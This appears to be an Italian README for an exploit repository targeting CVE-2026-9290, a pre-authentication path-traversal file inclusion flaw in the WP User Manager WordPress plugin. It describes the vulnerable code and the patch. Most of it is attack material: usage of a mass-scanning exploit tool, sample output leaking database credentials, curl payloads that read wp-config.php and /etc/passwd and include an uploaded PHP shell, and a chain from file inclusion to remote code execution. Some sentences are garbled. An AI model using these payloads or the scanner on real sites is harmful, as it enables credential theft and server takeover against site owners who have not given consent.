
Inclusione locale di file in pre-autenticazione in WP User Manager <= 2.9.17 tramite path traversal nel parametro tab (CVSS 7.5)
CVE-2026-9290 è una vulnerabilità di Local File Inclusion non autenticata ad alta severità (CVSS 7.5) nel plugin WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).
La funzione wpum_get_active_profile_tab() passa il parametro di query tab direttamente al caricatore di template Gamajo senza validazione tramite whitelist. Le sequenze di path traversal nel valore di consentono ad attaccanti non autenticati di includere file arbitrari dal server tramite la di PHP.
tabinclude()| Versione WP User Manager | Stato |
|---|---|
| ≤ 2.9.17 | Vulnerabile |
| ≥ 2.9.18 | Corretta |
In includes/functions.php, la funzione wpum_get_active_profile_tab() legge il parametro di query tab senza validazione tramite whitelist:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
Il valore viene passato a Gamajo_Template_Loader::get_template_part(), che risolve e include il file di template:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() NON rimuove le sequenze di path traversal. ../../../wp-config viene lasciato passare.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
| File | Riga | Ruolo |
|---|---|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — nessuna whitelist |
templates/profile.php | #L52 | Ambito del template di profilo |
class-gamajo-template-loader.php | #L226 | include() non sanificata |
La PR #445 aggiunge la validazione tramite whitelist:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--read PATH Read a specific file via LFI
-o, --output Save results to file
--threads Workers (default: 25)
-v, --verbose Show detailed output
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
Passo 1 — Rilevare WP User Manager
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
Passo 2 — Trovare la pagina di profilo
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
Passo 3 — LFI tramite il parametro tab
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che effettuano audit della propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
L'accesso non autorizzato ai sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per l'uso improprio.
| Risorsa | Link |
|---|---|
| Advisory GitHub | GHSA-83v9-496w-54wx |
| Advisory Wordfence | wordfence.com |
| PR di patch | GitHub #445 |
| Analisi IONIX | ionix.io |
Questo progetto non è affiliato a WP User Manager né a Carbon Fields.